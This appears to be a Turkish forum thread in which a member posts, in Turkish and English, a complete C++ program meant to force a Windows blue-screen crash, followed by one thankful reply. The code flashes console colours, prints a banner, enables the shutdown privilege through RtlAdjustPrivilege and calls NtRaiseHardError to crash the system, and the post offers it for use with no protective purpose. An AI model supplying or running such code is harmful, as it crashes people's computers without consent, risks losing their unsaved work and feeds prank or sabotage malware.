C++ mavi ekran - blue screen

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Who Will You Kiss
Seçkin Üye
Katılım
18 Nis 2020
Mesajlar
549
Çözümler
4
Tepki puanı
145
6 HİZMET YILI
Herkese merhaba forumda benim işime yaramış kodları paylaşıcam bu ilk işinize yarar umarım .
Hello everyone, I will share the codes that worked for me on the forum, I hope this will be useful for you first.

C++:
#include <iostream>
#include <Windows.h>

#pragma comment(lib, "ntdll.lib")

EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);

EXTERN_C NTSTATUS NTAPI NtRaiseHardError(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
    PULONG_PTR Parameters, ULONG ValidResponseOption, PULONG Response);

int main()

{
    system("color c");

    system("color b");

    system("color a");

    system("color d");

    system("color f");

    system("color e");

    system("color c");

    system("color b");

    system("color a");

    system("color d");

    system("color f");

    system("color e");
    system("color c");

    system("color b");

    system("color a");

    system("color d");

    system("color f");

    system("color e");

    std::cout << " __  __                        _  _         _              \n";
    std::cout << "|  \/  |___ _ __  ___ _ _ _  _| || |__ _ __| |_____ _ _ ___\n";
    std::cout << "| |\/| / -_) '  \/ _ \ '_| || | __ / _` / _| / / -_) '_(_-<\n";
    std::cout << "|_|  |_\___|_|_|_\___/_|  \_, |_||_\__,_\__|_\_\___|_| /__/\n";
    std::cout << "                          |__/              \n";

    BOOLEAN bl;
    unsigned long response;
    RtlAdjustPrivilege(19, true, false, &bl);

    NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, 0, 6, &response);
    return 0;
}
 
Seçkin Üye
Katılım
21 Eyl 2019
Mesajlar
372
Tepki puanı
20
Ödüller
6
Yaş
43
6 HİZMET YILI
eyvallah işimize yarayacak kodlar teşekkür ederim..
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst